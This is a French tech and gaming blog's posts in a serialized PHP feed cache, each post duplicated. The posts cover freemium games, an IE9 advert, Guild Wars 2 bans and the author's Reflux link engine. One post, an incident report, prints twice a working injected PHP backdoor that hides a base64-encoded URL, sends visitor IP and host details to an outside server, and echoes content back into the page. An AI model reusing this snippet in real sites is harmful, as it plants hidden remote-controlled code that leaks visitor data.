Le thème blogotext de Fullmaj baptisé "lightman" est disponible en téléchargement libre sur le wiki.

";s:7:"dateiso";s:15:"20121106_131315";}s:15:"20121015_143327";a:7:{s:5:"title";s:40:"Alors c'est ça ta vision du Jeu Vidéo?";s:4:"link";s:87:"http://blog.fullmaj.rd-h.fr/?d=2012/10/15/12/33/27-alors-cest-ca-ta-vision-du-jeu-video";s:4:"guid";s:87:"http://blog.fullmaj.rd-h.fr/?d=2012/10/15/12/33/27-alors-cest-ca-ta-vision-du-jeu-video";s:7:"pubDate";s:31:"Mon, 15 Oct 2012 12:33:27 +0000";s:11:"description";s:1838:"

Le vice-président de GREE parle du modèle Freemium, et même en sachant pertinemment que cela parle de jeu sur plate forme mobile, son discours est gerbant. Voici ce qui ressort :

L'important est de rendre les jeux simples et accessibles qui puissent susciter une addiction chez les joueurs, en espérant que celle-ci soit assez forte pour les persuader d'acheter des contenus supplémentaires.

Ca y est, on est en plein dedans, souvenez vous. Années 1990, les majors de la musique se lancent dans une opération de compression du paysage musical en proposant des produits tout faits, appelés Boyz Band. L'objectif était de "rendre la musique simple et accessible qui puisse suciter une addiction chez les auditeurs, en espérant que celle-ci soit assez forte pour les persuader d'acheter des produits supplémentaires".

20 ans plus tard, l'opération de compression du paysage musical a marché pour les majors : elles se cassent la gueule car elles n'ont plus rien à proposer, et c'est un nouveau média sous estimé à l'époque qui prend la releve et écrase les majors.

Alors oui, Vivendi tu peux sortir du capital d'Activision car Blizzard fait moins de sous. Toi aussi Zenimax tu peux dès maintenant te séparer de Id et les laisser retourner à leur corps de métier : faire du jeu. J'en ai plein le c*l des pollutions rentabilistes des financiers. Le monde du jeu vidéo n'a pas besoin de vos prédictions débilisantes pour vivre. Barrez vous de mon paysage à moi !

";s:7:"content";s:1838:"

Le vice-président de GREE parle du modèle Freemium, et même en sachant pertinemment que cela parle de jeu sur plate forme mobile, son discours est gerbant. Voici ce qui ressort :

L'important est de rendre les jeux simples et accessibles qui puissent susciter une addiction chez les joueurs, en espérant que celle-ci soit assez forte pour les persuader d'acheter des contenus supplémentaires.

Ca y est, on est en plein dedans, souvenez vous. Années 1990, les majors de la musique se lancent dans une opération de compression du paysage musical en proposant des produits tout faits, appelés Boyz Band. L'objectif était de "rendre la musique simple et accessible qui puisse suciter une addiction chez les auditeurs, en espérant que celle-ci soit assez forte pour les persuader d'acheter des produits supplémentaires".

20 ans plus tard, l'opération de compression du paysage musical a marché pour les majors : elles se cassent la gueule car elles n'ont plus rien à proposer, et c'est un nouveau média sous estimé à l'époque qui prend la releve et écrase les majors.

Alors oui, Vivendi tu peux sortir du capital d'Activision car Blizzard fait moins de sous. Toi aussi Zenimax tu peux dès maintenant te séparer de Id et les laisser retourner à leur corps de métier : faire du jeu. J'en ai plein le c*l des pollutions rentabilistes des financiers. Le monde du jeu vidéo n'a pas besoin de vos prédictions débilisantes pour vivre. Barrez vous de mon paysage à moi !

";s:7:"dateiso";s:15:"20121015_143327";}s:15:"20120930_204146";a:7:{s:5:"title";s:33:"Helmet Cam - Plus vrai que Arma !";s:4:"link";s:82:"http://blog.fullmaj.rd-h.fr/?d=2012/09/30/18/41/46-helmet-cam---plus-vrai-que-arma";s:4:"guid";s:82:"http://blog.fullmaj.rd-h.fr/?d=2012/09/30/18/41/46-helmet-cam---plus-vrai-que-arma";s:7:"pubDate";s:31:"Sun, 30 Sep 2012 18:41:46 +0000";s:11:"description";s:2106:"

Les caméras de casque des soldats US en Afga montrent ce que vois un soldat lors d'une embuscade.

Outre le côté ultra flippant de la chose, je suis abasourdi par le fait que les jeux vidéos ont finalement atteint un niveau de réalisme juste dément, qui font qu'une vidéo comme celle ci paraît tout simplement, pour un joueur de FPS... familière !

Je suis joueur de FPS à mes heures perdues. Je ne compte plus mon /played sur les titres "classiques"; mais c'est avec presque 40 heures de /played sur DayZ, qui vient lui même de Arma, venant lui même de Operation Flashpoint, que j'ai regardé cette vidéo avec une sensation de familiarité que je ne m'attendais pas à ressentir.

Le regard du joueur se fait critique:
" - Bouge bordel, reste pas figé, va te planquer! "

Un coup d'oeil périphérique, et on voit un rocher ou se planquer. Je me surprends à penser "j'aurais pas fait ça, j'aurais été ici, bougé la bas, fait un tir de couverture plus prononcé...".

Cette familiarité est presque terrifiante. Car le mec, quand il crie "I'm Hit" avec la voix de la peur de mourir, c'est juste insupportable.

Dans un jeu, surtout les jeux récents, l'absence totale d'enjeu en cas de perte fait que l'on s'y fait. Mais dans la vraie vie, il faut compter sur la propension qu'à l'être humain, en situation de crise, à faire n'importe quoi. Gérer ces situations demande un sang froid et une robustesse mentale à toute épreuve. C'est bien la panique qui anime la voix du type.

Du point de vue purement technique, je note que les déplacements "youpi strafe-wall-jump" à la Urban Terror c'est vraiment surfait, dans la vraie vie quand on descend un chemin un poil pentu, on peut pas en même temps viser un mec à l'autre bout de la route et marcher vite!

";s:7:"content";s:2106:"

Les caméras de casque des soldats US en Afga montrent ce que vois un soldat lors d'une embuscade.

Outre le côté ultra flippant de la chose, je suis abasourdi par le fait que les jeux vidéos ont finalement atteint un niveau de réalisme juste dément, qui font qu'une vidéo comme celle ci paraît tout simplement, pour un joueur de FPS... familière !

Je suis joueur de FPS à mes heures perdues. Je ne compte plus mon /played sur les titres "classiques"; mais c'est avec presque 40 heures de /played sur DayZ, qui vient lui même de Arma, venant lui même de Operation Flashpoint, que j'ai regardé cette vidéo avec une sensation de familiarité que je ne m'attendais pas à ressentir.

Le regard du joueur se fait critique:
" - Bouge bordel, reste pas figé, va te planquer! "

Un coup d'oeil périphérique, et on voit un rocher ou se planquer. Je me surprends à penser "j'aurais pas fait ça, j'aurais été ici, bougé la bas, fait un tir de couverture plus prononcé...".

Cette familiarité est presque terrifiante. Car le mec, quand il crie "I'm Hit" avec la voix de la peur de mourir, c'est juste insupportable.

Dans un jeu, surtout les jeux récents, l'absence totale d'enjeu en cas de perte fait que l'on s'y fait. Mais dans la vraie vie, il faut compter sur la propension qu'à l'être humain, en situation de crise, à faire n'importe quoi. Gérer ces situations demande un sang froid et une robustesse mentale à toute épreuve. C'est bien la panique qui anime la voix du type.

Du point de vue purement technique, je note que les déplacements "youpi strafe-wall-jump" à la Urban Terror c'est vraiment surfait, dans la vraie vie quand on descend un chemin un poil pentu, on peut pas en même temps viser un mec à l'autre bout de la route et marcher vite!

";s:7:"dateiso";s:15:"20120930_204146";}s:15:"20120911_104824";a:7:{s:5:"title";s:7:"Pub IE9";s:4:"link";s:58:"http://blog.fullmaj.rd-h.fr/?d=2012/09/11/08/48/24-pub-ie9";s:4:"guid";s:58:"http://blog.fullmaj.rd-h.fr/?d=2012/09/11/08/48/24-pub-ie9";s:7:"pubDate";s:31:"Tue, 11 Sep 2012 08:48:24 +0000";s:11:"description";s:5513:"

Hier au cinéma j'ai pris la dernière pub pour IE9 dans la tronche. Ca fait mal, n'ayant volontairement plus de télé depuis 2008, le choc de la réclâme n'en est que plus franc.

D'aucun serait scié par les citations utilisées pour faire la publicité du browser de Microsoft. La tactique est usuelle mais plonger dans le détail met en lumière une véritable arnaque. J'èspère sincèrement que Microsoft fait état d'autodérision au travers de cette réclâme grotesque !

Petit tour du proprio: nous avons 3 citations. Une de Clubic, une de La Tribune et une de PC Impact. Donc nous avons une citation d'un site techno grand public, d'un journal sur la finance (parfaitement dans son domaine donc) et d'un magazine PC technique.

Regardons les citations de plus près :
Ah Clubic, quand j'ai vu ton nom à l'écran, j'ai eu peur. Je me suis dit intérieurement : "mon Dieu, pas toi...". Et puis la réalité m'a quelque peu rassuré. Voici l'article en question:
Internet Explorer 9 : un navigateur en net progrès
La conclusion on l'on retrouve la "trace" du terme moderne est beaucoup plus modeste:
"Néanmoins, même si Microsoft n'est pas allé chercher bien loin la plupart de ses nouveautés (interface calquée sur Google Chrome, fonctionnalités tenant souvent du rattrapage), Internet Explorer 9 est un bon navigateur web moderne qui offre une nette amélioration par rapport au moyen et vieillissant IE8. Il est néanmoins regrettable que les utilisateurs de Windows XP n'y aient pas droit…"
Source http://www.clubic.com/navigateur-internet/internet-explorer/article-397622-1-test-internet-explorer-9.html
  
En réalité, moderne est à comprendre ici dans le sens : rattrappe son retard et propose donc les services de son temps, mais toujours en retard.
 
Ca me rassure, c'est ce que j'avais compris. Continuons...
 
La Tribune, journal notoire en économie, mais inconnu de la scène techno en général. C'est bien un article à but économique cité ici.
 
La réalité : article de la Tribune du 11 mars 2011
 
Développé depuis novembre 2009, la version 9 du navigateur (IE9) est disponible mardi dans sa mouture définitive. IE9 aligne des solides arguments technologiques pour regagner des parts de marché.
 
Donc c'est bien ça, on est dans du commentaire d'économiste, du genre à ramasser des parts de marché. Absolument pas quantifiable et vide d'arguments technologiques :)
 
PC Impact, autre journal technique, dresse un rapport de test disponible à cette page.
 
Effectivement IE9 sort premier des tests... sur des benchs javascript. Cela limite sérieusement le paysage de tests en ne testant en rien les perfos réseau/display, et favorise IE qui en natif exploite les APIs windows directement. D'ailleurs, PCInpact est formel sur ce point :
 
"Dans les grandes lignes, Internet Explorer 9 se porte bien dans les tests, mais il faut faire plusieurs remarques. Premièrement, tous ces résultats sont à prendre avec des pincettes. Les classements changent complètement en fonction du créateur du test, ce qui enjoint à la prudence. Deuxièmement, et c’est sans doute le point le plus important : tous les navigateurs récents sont très performants en JavaScript, et bien malin à qui peut dire aujourd’hui qu’il perçoit la différence. D’autant que le JavaScript n’est qu’un élément dans le chargement d’une page, même si son utilisation se renforce.Microsoft l’avouait très clairement lors des Techdays : Internet Explorer 9 bénéficie d’une certaine facilité par rapport à ses concurrents car il ne vise que deux systèmes assez proches, Vista et Windows 7. L’accélération matérielle s’appuie une seule API, Direct2D, là où Firefox et Chrome cherchent à l’activer sur Windows, Mac OS X et Linux. Le défi n’est absolument pas le même."
C'est juste une bonne blague.
 
Tous les articles datent du premier trimestre 2011 au plus tard. Une éternité en technologie.
 
J'aurai un mal de chien à me regarder dans une glace après avoir pondu un truc pareil.
";s:7:"content";s:5513:"

Hier au cinéma j'ai pris la dernière pub pour IE9 dans la tronche. Ca fait mal, n'ayant volontairement plus de télé depuis 2008, le choc de la réclâme n'en est que plus franc.

D'aucun serait scié par les citations utilisées pour faire la publicité du browser de Microsoft. La tactique est usuelle mais plonger dans le détail met en lumière une véritable arnaque. J'èspère sincèrement que Microsoft fait état d'autodérision au travers de cette réclâme grotesque !

Petit tour du proprio: nous avons 3 citations. Une de Clubic, une de La Tribune et une de PC Impact. Donc nous avons une citation d'un site techno grand public, d'un journal sur la finance (parfaitement dans son domaine donc) et d'un magazine PC technique.

Regardons les citations de plus près :
Ah Clubic, quand j'ai vu ton nom à l'écran, j'ai eu peur. Je me suis dit intérieurement : "mon Dieu, pas toi...". Et puis la réalité m'a quelque peu rassuré. Voici l'article en question:
Internet Explorer 9 : un navigateur en net progrès
La conclusion on l'on retrouve la "trace" du terme moderne est beaucoup plus modeste:
"Néanmoins, même si Microsoft n'est pas allé chercher bien loin la plupart de ses nouveautés (interface calquée sur Google Chrome, fonctionnalités tenant souvent du rattrapage), Internet Explorer 9 est un bon navigateur web moderne qui offre une nette amélioration par rapport au moyen et vieillissant IE8. Il est néanmoins regrettable que les utilisateurs de Windows XP n'y aient pas droit…"
Source http://www.clubic.com/navigateur-internet/internet-explorer/article-397622-1-test-internet-explorer-9.html
  
En réalité, moderne est à comprendre ici dans le sens : rattrappe son retard et propose donc les services de son temps, mais toujours en retard.
 
Ca me rassure, c'est ce que j'avais compris. Continuons...
 
La Tribune, journal notoire en économie, mais inconnu de la scène techno en général. C'est bien un article à but économique cité ici.
 
La réalité : article de la Tribune du 11 mars 2011
 
Développé depuis novembre 2009, la version 9 du navigateur (IE9) est disponible mardi dans sa mouture définitive. IE9 aligne des solides arguments technologiques pour regagner des parts de marché.
 
Donc c'est bien ça, on est dans du commentaire d'économiste, du genre à ramasser des parts de marché. Absolument pas quantifiable et vide d'arguments technologiques :)
 
PC Impact, autre journal technique, dresse un rapport de test disponible à cette page.
 
Effectivement IE9 sort premier des tests... sur des benchs javascript. Cela limite sérieusement le paysage de tests en ne testant en rien les perfos réseau/display, et favorise IE qui en natif exploite les APIs windows directement. D'ailleurs, PCInpact est formel sur ce point :
 
"Dans les grandes lignes, Internet Explorer 9 se porte bien dans les tests, mais il faut faire plusieurs remarques. Premièrement, tous ces résultats sont à prendre avec des pincettes. Les classements changent complètement en fonction du créateur du test, ce qui enjoint à la prudence. Deuxièmement, et c’est sans doute le point le plus important : tous les navigateurs récents sont très performants en JavaScript, et bien malin à qui peut dire aujourd’hui qu’il perçoit la différence. D’autant que le JavaScript n’est qu’un élément dans le chargement d’une page, même si son utilisation se renforce.Microsoft l’avouait très clairement lors des Techdays : Internet Explorer 9 bénéficie d’une certaine facilité par rapport à ses concurrents car il ne vise que deux systèmes assez proches, Vista et Windows 7. L’accélération matérielle s’appuie une seule API, Direct2D, là où Firefox et Chrome cherchent à l’activer sur Windows, Mac OS X et Linux. Le défi n’est absolument pas le même."
C'est juste une bonne blague.
 
Tous les articles datent du premier trimestre 2011 au plus tard. Une éternité en technologie.
 
J'aurai un mal de chien à me regarder dans une glace après avoir pondu un truc pareil.
";s:7:"dateiso";s:15:"20120911_104824";}s:15:"20120906_134812";a:7:{s:5:"title";s:30:"Guild Wars II - La Main de Fer";s:4:"link";s:81:"http://blog.fullmaj.rd-h.fr/?d=2012/09/06/11/48/12-guild-wars-ii---la-main-de-fer";s:4:"guid";s:81:"http://blog.fullmaj.rd-h.fr/?d=2012/09/06/11/48/12-guild-wars-ii---la-main-de-fer";s:7:"pubDate";s:31:"Thu, 06 Sep 2012 11:48:12 +0000";s:11:"description";s:3147:"
Guild Wars 2 est un titre encore bien jeune. Et comme tout MMO vaste et complexe, le jeu regorge de petits bugs et exploits que les joueurs, intentionnellement ou non, peuvent utiliser. Une affaire secoue le titre de NCsoft : un exploit majeur permettrait de s’enrichir facilement.

Exploit majeur? Il n'en est rien.

Il s'agit d'une mécanique du jeu comme les autres. Cela implique acheter un objet à un marchand, de le combiner à d'autres pour créer un objet beaucoup plus puissant, et le vendre à l'hotel des ventes. Ceci sans contourner les mécaniques du jeu, il s'agit juste de faire une opération que les développeurs n'avaient pas prévu que les joueurs feraient. Et ils l'ont fait, bien évidemment.

Comment qualifie t on cela d'exploit? Dans le fait que la manipulation est assez facile à faire, et peut rapporter beaucoup d'or. 

Lorsque NCsoft s’en est rendu compte, une vague sans précédent de bannissement de comptes à vie a eu lieu. Les joueurs ayant utilisé ce bug se sont fait fermer manu militari leurs comptes de jeu. C’est uniquement suite à 72h de ban que les joueurs peuvent, via une lettre d’excuse à NCsoft, récupérer leur compte en s’engageant à détruire l’or gagné par ce biais.

Cette réaction est tout simplement exagérée : il n'y a pas de bug et c'est avant tout de la responsabilité de l’éditeur que de maîtriser le titre qu'il produit. Trouver des moyens de gagner de l’expérience, de l’or et de la puissance est le but et la quête de ce genre de jeu. Le fait d’acheter et revendre est une mécanique inhérente au système de monde persistant, et les joueurs n’ont rien inventé à ce sujet, on trouve trace de ce genre de mécanique de trading dans des jeux comme Elite II : Frontier dès les années 1990 !

 Bannir les joueurs ayant utilisé une mécanique de jeu proposée par NCsoft, c’est faire preuve d’une certaine conception du pouvoir. Même si c’est les équipes de ex.Triforge derrière le gamedesign, la réponse est à forte connotation dictatoriale:
moi, éditeur de jeu, j’ai beau avoir implémenté un mécanisme d'artisanat dans mon titre, je fais tomber une poigne de fer sur les joueurs qui s'en servent autrement que dans le cadre que j'ai décidé!

 Les éditeurs Américano-Européens sont moins brutaux face aux trouvailles de ce genre, en tout cas ne vont jamais à la fermeture de comptes pour des exploits aussi communs qu’un trading trick.

La raison est sensiblement la même que pour les autres titres... le pognon mon frêre ! Le "cash shop" est là et ca va faire mal. La philosophie reste dans la lignée de TF2 : du random loot et du cosmétique. Tant mieux. Mais il faut rester vigilant, tant que le shop sera là, la vente d'items peuvent faire basculer le titre dans le PAY4WIN en quelques clics !

";s:7:"content";s:3147:"
Guild Wars 2 est un titre encore bien jeune. Et comme tout MMO vaste et complexe, le jeu regorge de petits bugs et exploits que les joueurs, intentionnellement ou non, peuvent utiliser. Une affaire secoue le titre de NCsoft : un exploit majeur permettrait de s’enrichir facilement.

Exploit majeur? Il n'en est rien.

Il s'agit d'une mécanique du jeu comme les autres. Cela implique acheter un objet à un marchand, de le combiner à d'autres pour créer un objet beaucoup plus puissant, et le vendre à l'hotel des ventes. Ceci sans contourner les mécaniques du jeu, il s'agit juste de faire une opération que les développeurs n'avaient pas prévu que les joueurs feraient. Et ils l'ont fait, bien évidemment.

Comment qualifie t on cela d'exploit? Dans le fait que la manipulation est assez facile à faire, et peut rapporter beaucoup d'or. 

Lorsque NCsoft s’en est rendu compte, une vague sans précédent de bannissement de comptes à vie a eu lieu. Les joueurs ayant utilisé ce bug se sont fait fermer manu militari leurs comptes de jeu. C’est uniquement suite à 72h de ban que les joueurs peuvent, via une lettre d’excuse à NCsoft, récupérer leur compte en s’engageant à détruire l’or gagné par ce biais.

Cette réaction est tout simplement exagérée : il n'y a pas de bug et c'est avant tout de la responsabilité de l’éditeur que de maîtriser le titre qu'il produit. Trouver des moyens de gagner de l’expérience, de l’or et de la puissance est le but et la quête de ce genre de jeu. Le fait d’acheter et revendre est une mécanique inhérente au système de monde persistant, et les joueurs n’ont rien inventé à ce sujet, on trouve trace de ce genre de mécanique de trading dans des jeux comme Elite II : Frontier dès les années 1990 !

 Bannir les joueurs ayant utilisé une mécanique de jeu proposée par NCsoft, c’est faire preuve d’une certaine conception du pouvoir. Même si c’est les équipes de ex.Triforge derrière le gamedesign, la réponse est à forte connotation dictatoriale:
moi, éditeur de jeu, j’ai beau avoir implémenté un mécanisme d'artisanat dans mon titre, je fais tomber une poigne de fer sur les joueurs qui s'en servent autrement que dans le cadre que j'ai décidé!

 Les éditeurs Américano-Européens sont moins brutaux face aux trouvailles de ce genre, en tout cas ne vont jamais à la fermeture de comptes pour des exploits aussi communs qu’un trading trick.

La raison est sensiblement la même que pour les autres titres... le pognon mon frêre ! Le "cash shop" est là et ca va faire mal. La philosophie reste dans la lignée de TF2 : du random loot et du cosmétique. Tant mieux. Mais il faut rester vigilant, tant que le shop sera là, la vente d'items peuvent faire basculer le titre dans le PAY4WIN en quelques clics !

";s:7:"dateiso";s:15:"20120906_134812";}s:15:"20120823_143306";a:7:{s:5:"title";s:26:"Bordel de couille d'ours !";s:4:"link";s:74:"http://blog.fullmaj.rd-h.fr/?d=2012/08/23/12/33/06-bordel-de-couille-dours";s:4:"guid";s:74:"http://blog.fullmaj.rd-h.fr/?d=2012/08/23/12/33/06-bordel-de-couille-dours";s:7:"pubDate";s:31:"Thu, 23 Aug 2012 12:33:06 +0000";s:11:"description";s:3677:"
Hier soir, j'essaie de me connecter sur mon shaarli. Et là surprise : Erreur php ligne 41.

WTF?

Alors je me logge sur mon ftp et je regarde mon dossier shaarli. Et que vois-je : le fichier index.php a été édité le matin.

Je l'ouvre et cherche cette ligne 41. J'y trouve un code dont je n'arrive pas à comprendre l'utilité, pour finalement voir en comparaison avec le code original, qu'un pargraphe a été ajouté dans le code de shaarli. Voici les lignes en question:

<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics           
        $stCurlLink = base64_decode( 'aHR0cDovL3B1YmJvdHN0YXRpc3RpYy5jb20vc3RhdEMvc3RhdC5waHA=').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink );
    }
    }
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle);
    if ($sResult[0]=="O")
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle);
}
}
?>


 La ligne intéressante dans ce bordel, c'est celle avec le base64_decode(), cela donne une URL vers un site à la con qui récupère un paquet d'infos  et doit surement en conséquence lancer une action à la mords-moi-le-noeud sur ma machine.

Petite inspection, tous mes autres dossiers ont été touchés, le wiki et mon projet perso Reflux inclus.

Y A UN FUCKING TYPE QUI A FUCKING SALOPE MON CHEZ MOI AVEC DU FUCKING SALE CODE ! FUCK !

Il semblerait que le mec se soit connecté en FTP, mais je ne trouve pas de trace dans les logs.

Bordel de couille d'ours ! Me suis fait avoir ! Damned que je n'aime pas ça.

J'ai nettoyé tous les fichiers touchés, et changé tous mes mots de passe. Ca fait bizarre, je ne sais pas si ca vient de mon hébergeur, de moi ou d'un autre PC infecté. Mais je me sens sale!

Edit : Il semblerait que ce soit un hack visant surtout le référencement de google, dont le but est de substituer un lien à un autre: http://www.peterrosenmai.com/a-hacking-visible-only-to-google";s:7:"content";s:3677:"
Hier soir, j'essaie de me connecter sur mon shaarli. Et là surprise : Erreur php ligne 41.

WTF?

Alors je me logge sur mon ftp et je regarde mon dossier shaarli. Et que vois-je : le fichier index.php a été édité le matin.

Je l'ouvre et cherche cette ligne 41. J'y trouve un code dont je n'arrive pas à comprendre l'utilité, pour finalement voir en comparaison avec le code original, qu'un pargraphe a été ajouté dans le code de shaarli. Voici les lignes en question:

<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics           
        $stCurlLink = base64_decode( 'aHR0cDovL3B1YmJvdHN0YXRpc3RpYy5jb20vc3RhdEMvc3RhdC5waHA=').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink );
    }
    }
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle);
    if ($sResult[0]=="O")
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle);
}
}
?>


 La ligne intéressante dans ce bordel, c'est celle avec le base64_decode(), cela donne une URL vers un site à la con qui récupère un paquet d'infos  et doit surement en conséquence lancer une action à la mords-moi-le-noeud sur ma machine.

Petite inspection, tous mes autres dossiers ont été touchés, le wiki et mon projet perso Reflux inclus.

Y A UN FUCKING TYPE QUI A FUCKING SALOPE MON CHEZ MOI AVEC DU FUCKING SALE CODE ! FUCK !

Il semblerait que le mec se soit connecté en FTP, mais je ne trouve pas de trace dans les logs.

Bordel de couille d'ours ! Me suis fait avoir ! Damned que je n'aime pas ça.

J'ai nettoyé tous les fichiers touchés, et changé tous mes mots de passe. Ca fait bizarre, je ne sais pas si ca vient de mon hébergeur, de moi ou d'un autre PC infecté. Mais je me sens sale!

Edit : Il semblerait que ce soit un hack visant surtout le référencement de google, dont le but est de substituer un lien à un autre: http://www.peterrosenmai.com/a-hacking-visible-only-to-google";s:7:"dateiso";s:15:"20120823_143306";}s:15:"20120817_180515";a:7:{s:5:"title";s:47:"Reflux - Minimalist Link Blogging Engine (MLBE)";s:4:"link";s:96:"http://blog.fullmaj.rd-h.fr/?d=2012/08/17/16/05/15-reflux---minimalist-link-blogging-engine-mlbe";s:4:"guid";s:96:"http://blog.fullmaj.rd-h.fr/?d=2012/08/17/16/05/15-reflux---minimalist-link-blogging-engine-mlbe";s:7:"pubDate";s:31:"Fri, 17 Aug 2012 16:05:15 +0000";s:11:"description";s:2656:"
[fr]Reflux est un moteur de partage de liens écrit en php sous la forme d'un flux de type micro-blogging.

Largement inspiré de l'excellent Shaarli, il permet de classer les liens par catégorie, mais surtout de noter ces liens par pertinence sur une échelle entre 0 et 100. Cette pertinence permet de retrouver rapidement ses liens favoris : en un clic, Reflux permet d'afficher vos liens par pertinence dans la catégorie de votre choix.

Reflux utilise ChaozzDB pour la base de donnée en flat file et Twitter Bootstrap pour le CSS. L'idée m'est venue après qu'un ami m'ait demandé:  "quels sont tes 10 sites d'électronique et de DIY préférés?". Reflux m'a permis de lui répondre avec un simple lien vers la catégorie "Tech&DIY" de ce Reflux.

Le code source et les instructions d'installation sont disponibles sur le wiki FULLMAJ sous license GPL.
Note : C'est ma première excursion dans le monde du webdesign php et css, expérience extrèmement intéressante fruit de douloureuses heures sur les tutoriaux de la w3c et de pas mal de persévérance... donc certainement bourré de failles et de non-élégances de débutant dont je serais avide de corriger l'existence ![/fr]
[en]Reflux is a link managment engine written in php with a micro blogging display fashion.

Inspired by the powerfull Shaarli, it allows to classify link by category, and to give to your link a mark from 0 to 100, representing its interest. It allows to quickly recall your favorites link : in one mouse click, Reflux permet displays your links by interest, category per category.

Reflux uses ChaozzDB for the flat file DB and Twitter Bootstrap for CSS. The idea came after one friend asking me this question: "what are your 10 favorite DIY and electronics wesites?". Reflux allowed me to quickly answer by using the "Tech&DIY" filter of this Reflux.

Source code and installation instructions are available on this wiki under GPL license.[/en]";s:7:"content";s:2656:"
[fr]Reflux est un moteur de partage de liens écrit en php sous la forme d'un flux de type micro-blogging.

Largement inspiré de l'excellent Shaarli, il permet de classer les liens par catégorie, mais surtout de noter ces liens par pertinence sur une échelle entre 0 et 100. Cette pertinence permet de retrouver rapidement ses liens favoris : en un clic, Reflux permet d'afficher vos liens par pertinence dans la catégorie de votre choix.

Reflux utilise ChaozzDB pour la base de donnée en flat file et Twitter Bootstrap pour le CSS. L'idée m'est venue après qu'un ami m'ait demandé:  "quels sont tes 10 sites d'électronique et de DIY préférés?". Reflux m'a permis de lui répondre avec un simple lien vers la catégorie "Tech&DIY" de ce Reflux.

Le code source et les instructions d'installation sont disponibles sur le wiki FULLMAJ sous license GPL.
Note : C'est ma première excursion dans le monde du webdesign php et css, expérience extrèmement intéressante fruit de douloureuses heures sur les tutoriaux de la w3c et de pas mal de persévérance... donc certainement bourré de failles et de non-élégances de débutant dont je serais avide de corriger l'existence ![/fr]
[en]Reflux is a link managment engine written in php with a micro blogging display fashion.

Inspired by the powerfull Shaarli, it allows to classify link by category, and to give to your link a mark from 0 to 100, representing its interest. It allows to quickly recall your favorites link : in one mouse click, Reflux permet displays your links by interest, category per category.

Reflux uses ChaozzDB for the flat file DB and Twitter Bootstrap for CSS. The idea came after one friend asking me this question: "what are your 10 favorite DIY and electronics wesites?". Reflux allowed me to quickly answer by using the "Tech&DIY" filter of this Reflux.

Source code and installation instructions are available on this wiki under GPL license.[/en]";s:7:"dateiso";s:15:"20120817_180515";}s:15:"20120814_130929";a:7:{s:5:"title";s:14:"Why TF2 >> All";s:4:"link";s:62:"http://blog.fullmaj.rd-h.fr/?d=2012/08/14/11/09/29-why-tf2-all";s:4:"guid";s:62:"http://blog.fullmaj.rd-h.fr/?d=2012/08/14/11/09/29-why-tf2-all";s:7:"pubDate";s:31:"Tue, 14 Aug 2012 11:09:29 +0000";s:11:"description";s:2607:"
Can't stop playing Team Fortress 2. Any other FPS those days brings me back to my beloved Red and Blue mates. But what are the reasons that make this game so addictive? What's this terrific success linked to? What are the assets and design decisions that makes it that awesome? I've got my idea, check it out.

1 - 100% Original background :
This epic, esthetically fun-shaped universe is mind blowing. Characters design, level design, global athmosphere, everything fit perfectly well altogether. That's all about being epically seriously crazy, you get it?The Medic is awesomely German styled, the Heavy is awesomely dumb, the Engineer is awesomely Texan and the Pyro is awesomely mphmmhphmmh.

2 - Differentiated and situation balanced classes gameplay
When it comes to gameplay, the picture is the same : all classes gameplay strongly differs in style and balances with each other. Synergys are everywhere, and provide combinations to feed both casual and epic players.

3 - Easy to be good at / Hard to master
It's easy to strike a successfull Rocket into a heavy/medic pack, but it's damn hard to master accurates airshots during critical encounters. It's all about teamplay and positive exploit of class synergies, that this game excells at providing. This game is both fun for a 15 minutes afterwork session, and a 2 hours relentless clan war.

4 - 0% Assault Rifle  inside :
No AK or M14 that makes multiplayer FPS boringly distance-oriented
